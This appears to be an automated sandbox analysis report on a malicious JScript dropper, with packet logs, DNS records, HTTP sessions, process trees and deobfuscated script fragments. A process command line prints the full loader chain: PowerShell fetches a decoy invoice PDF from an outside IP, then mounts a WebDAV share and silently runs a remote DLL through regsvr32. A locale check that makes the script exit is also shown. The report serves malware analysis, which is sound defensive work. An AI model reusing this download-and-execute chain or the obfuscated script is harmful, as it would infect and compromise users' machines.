Jan 10, 2025 21:48:44.284868002 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284872055 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284883976 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284900904 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284903049 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284918070 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284939051 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284946918 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284967899 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284982920 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284986973 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.285000086 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285017014 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285027027 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.285032988 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285052061 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.285052061 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285078049 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285094023 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285098076 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.285109997 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285126925 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285135031 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.285141945 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285159111 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285161018 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.285183907 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285200119 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285203934 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.285216093 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285233021 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285242081 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.285248995 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285265923 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285274982 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.285284042 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285301924 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285317898 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285317898 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.285336018 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285340071 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.285353899 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.285377026 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.337310076 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.493633986 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.814440012 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:45.307156086 CET	49753	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:45.312019110 CET	8888	49753	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:45.312100887 CET	49753	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:45.312330008 CET	49753	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:45.317147017 CET	8888	49753	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:46.107611895 CET	8888	49753	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:46.165414095 CET	49753	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:47.892766953 CET	49753	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 21:49:59.474034071 CET	51517	53	192.168.2.9	1.1.1.1
Jan 10, 2025 21:49:59.478822947 CET	53	51517	1.1.1.1	192.168.2.9
Jan 10, 2025 21:49:59.478908062 CET	51517	53	192.168.2.9	1.1.1.1
Jan 10, 2025 21:49:59.478935003 CET	51517	53	192.168.2.9	1.1.1.1
Jan 10, 2025 21:49:59.483659029 CET	53	51517	1.1.1.1	192.168.2.9
Jan 10, 2025 21:49:59.942702055 CET	53	51517	1.1.1.1	192.168.2.9
Jan 10, 2025 21:49:59.944082022 CET	51517	53	192.168.2.9	1.1.1.1
Jan 10, 2025 21:49:59.948965073 CET	53	51517	1.1.1.1	192.168.2.9
Jan 10, 2025 21:49:59.949373960 CET	51517	53	192.168.2.9	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:48:53.201800108 CET	50481	53	192.168.2.9	1.1.1.1
Jan 10, 2025 21:49:59.473489046 CET	53	60715	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:48:53.201800108 CET	192.168.2.9	1.1.1.1	0xa971	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:48:37.396580935 CET	1.1.1.1	192.168.2.9	0x68ed	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:48:37.396580935 CET	1.1.1.1	192.168.2.9	0x68ed	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:48:53.211093903 CET	1.1.1.1	192.168.2.9	0xa971	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:48:54.042747021 CET	1.1.1.1	192.168.2.9	0xa9cb	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:48:54.042747021 CET	1.1.1.1	192.168.2.9	0xa9cb	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49736	193.143.1.205	80	7464	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:48:42.605247974 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:48:43.405149937 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:48:43 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:48:43.405184031 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:48:43.405201912 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 21:48:43.405217886 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 21:48:43.405235052 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 21:48:43.405251980 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 21:48:43.405270100 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 21:48:43.405286074 CET	896	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 21:48:43.405304909 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 21:48:43.405322075 CET	1236	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 10, 2025 21:48:43.410198927 CET	1112	IN	Data Raw: 9b 1b 81 37 1b 8f cd 90 6f ee b7 d6 83 b4 e1 9d d6 1f a8 ba d0 f8 33 31 14 c0 a6 ad 21 99 60 07 d5 1c 18 fa 38 3f 30 f4 a9 3d 30 f4 f1 fa fa e1 ea ea a1 dd 91 db c7 d0 63 15 43 f7 bb 18 1a f4 d0 0f a9 72 0e 1e fb f2 b0 bf 26 8c a1 77 f3 18 7a 99 Data Ascii: 7o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLIM=3Nad/7ZXkJ>U?HX*%;3s{^aZf\\|C\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49753	193.143.1.205	8888	7748	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:48:45.312330008 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:48:46.107611895 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:48:45 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	15:48:38
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247714231173424547.js"
Imagebase:	0x7ff69f5d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:48:39
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll
Imagebase:	0x7ff6e91d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:48:39
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:48:39
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:48:43
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:48:43
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6e91d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:48:43
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff735000000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:48:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:48:44
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:48:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1640,i,12368101296356233918,12321352274645711292,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function xxofx() {	xxofx() ➔ undefined
1	rpbxx = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var evtpdctpm = this[szxffs + zottehfck + bfevb + einlu + ruhdfjpt + qkgwgeg + xvzhigl + hqxnnfjuy] ( this[uesjzvnxa + nqvqma + nuzjrpdi + bfevb + jvexfa + szxffs + hqxnnfjuy][jvydg + bfevb + ruhdfjpt + zottehfck + hqxnnfjuy + ruhdfjpt + yawffhpue + conlw + wftvukwbj + ruhdfjpt + nuzjrpdi + hqxnnfjuy] ( uesjzvnxa + nqvqma + nuzjrpdi + bfevb + jvexfa + szxffs + hqxnnfjuy + ryfts + nqvqma + mfzdmfmah + ruhdfjpt + gmokgcmi + gmokgcmi ) [egszephvy + ruhdfjpt + awhbch + egszephvy + ruhdfjpt + zottehfck + mvxlkdyr] ( wkfwqr + nzevihb + tdxgqw + hqyfcu + fypiwghza + jvydg + zlierfhtr + egszephvy + egszephvy + tdxgqw + eehylwu + akojm + fypiwghza + zlierfhtr + nqvqma + tdxgqw + egszephvy + fmvwy + jvydg + uutgkcf + xvzhigl + hqxnnfjuy + bfevb + uutgkcf + gmokgcmi + myddeq + ilanhse + zottehfck + xvzhigl + ruhdfjpt + gmokgcmi + fmvwy + qkgwgeg + xvzhigl + hqxnnfjuy + ruhdfjpt + bfevb + xvzhigl + zottehfck + hqxnnfjuy + jvexfa + uutgkcf + xvzhigl + zottehfck + gmokgcmi + fmvwy + wnocxw + uutgkcf + nuzjrpdi + zottehfck + gmokgcmi + ruhdfjpt ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xzmwc = 0 ; xzmwc < rpbxx[gmokgcmi + ruhdfjpt + xvzhigl + awhbch + hqxnnfjuy + mfzdmfmah] ; ++ xzmwc )
4	{
5	if ( evtpdctpm == rpbxx[xzmwc] )
6	{
7	evtpdctpm = true;
8	break ;
9	}
10	}
11	if ( evtpdctpm !== true )
12	this[uesjzvnxa + nqvqma + nuzjrpdi + bfevb + jvexfa + szxffs + hqxnnfjuy][qximod + sjvre + jvexfa + hqxnnfjuy] ( );
13	this[uesjzvnxa + nqvqma + nuzjrpdi + bfevb + jvexfa + szxffs + hqxnnfjuy][jvydg + bfevb + ruhdfjpt + zottehfck + hqxnnfjuy + ruhdfjpt + yawffhpue + conlw + wftvukwbj + ruhdfjpt + nuzjrpdi + hqxnnfjuy] ( uesjzvnxa + nqvqma + nuzjrpdi + bfevb + jvexfa + szxffs + hqxnnfjuy + ryfts + nqvqma + mfzdmfmah + ruhdfjpt + gmokgcmi + gmokgcmi ) [bfevb + sjvre + xvzhigl] ( nuzjrpdi + oqamhe + mvxlkdyr + myddeq + obpzywk + nuzjrpdi + myddeq + szxffs + uutgkcf + ufrwxnmxo + ruhdfjpt + bfevb + einlu + mfzdmfmah + ruhdfjpt + gmokgcmi + gmokgcmi + ryfts + ruhdfjpt + ajrnm + ruhdfjpt + myddeq + oheolumb + jvydg + uutgkcf + oqamhe + oqamhe + zottehfck + xvzhigl + mvxlkdyr + myddeq + xhahgqow + qkgwgeg + xvzhigl + ndihe + uutgkcf + syrlp + ruhdfjpt + oheolumb + uesjzvnxa + ruhdfjpt + conlw + egszephvy + ruhdfjpt + odmohy + sjvre + ruhdfjpt + einlu + hqxnnfjuy + myddeq + oheolumb + yawffhpue + sjvre + hqxnnfjuy + vtjzor + jvexfa + gmokgcmi + ruhdfjpt + myddeq + cyshk + hqxnnfjuy + ruhdfjpt + oqamhe + szxffs + cyshk + fmvwy + jvexfa + xvzhigl + ndihe + uutgkcf + jvexfa + nuzjrpdi + ruhdfjpt + ryfts + szxffs + mvxlkdyr + pmflfk + myddeq + mfzdmfmah + hqxnnfjuy + hqxnnfjuy + szxffs + nuhbgfaqq + obpzywk + obpzywk + askvvifpy + tsvapnkcc + khizbbiv + ryfts + askvvifpy + grnjfsgn + khizbbiv + ryfts + askvvifpy + ryfts + tcvpxtu + bcynezgg + lyijzevr + obpzywk + jvexfa + xvzhigl + ndihe + uutgkcf + jvexfa + nuzjrpdi + ruhdfjpt + ryfts + szxffs + mfzdmfmah + szxffs + xhahgqow + vaogmj + vaogmj + einlu + hqxnnfjuy + zottehfck + bfevb + hqxnnfjuy + myddeq + cyshk + hqxnnfjuy + ruhdfjpt + oqamhe + szxffs + cyshk + fmvwy + jvexfa + xvzhigl + ndihe + uutgkcf + jvexfa + nuzjrpdi + ruhdfjpt + ryfts + szxffs + mvxlkdyr + pmflfk + vaogmj + vaogmj + nuzjrpdi + oqamhe + mvxlkdyr + myddeq + obpzywk + nuzjrpdi + myddeq + xvzhigl + ruhdfjpt + hqxnnfjuy + myddeq + sjvre + einlu + ruhdfjpt + myddeq + fmvwy + fmvwy + askvvifpy + tsvapnkcc + khizbbiv + ryfts + askvvifpy + grnjfsgn + khizbbiv + ryfts + askvvifpy + ryfts + tcvpxtu + bcynezgg + lyijzevr + zxxkjwrq + ouwlzmvze + ouwlzmvze + ouwlzmvze + ouwlzmvze + fmvwy + mvxlkdyr + zottehfck + ndihe + ufrwxnmxo + ufrwxnmxo + ufrwxnmxo + bfevb + uutgkcf + uutgkcf + hqxnnfjuy + fmvwy + vaogmj + vaogmj + nuzjrpdi + oqamhe + mvxlkdyr + myddeq + obpzywk + nuzjrpdi + myddeq + bfevb + ruhdfjpt + awhbch + einlu + ndihe + bfevb + khizbbiv + tcvpxtu + myddeq + obpzywk + einlu + myddeq + fmvwy + fmvwy + askvvifpy + tsvapnkcc + khizbbiv + ryfts + askvvifpy + grnjfsgn + khizbbiv + ryfts + askvvifpy + ryfts + tcvpxtu + bcynezgg + lyijzevr + zxxkjwrq + ouwlzmvze + ouwlzmvze + ouwlzmvze + ouwlzmvze + fmvwy + mvxlkdyr + zottehfck + ndihe + ufrwxnmxo + ufrwxnmxo + ufrwxnmxo + bfevb + uutgkcf + uutgkcf + hqxnnfjuy + fmvwy + 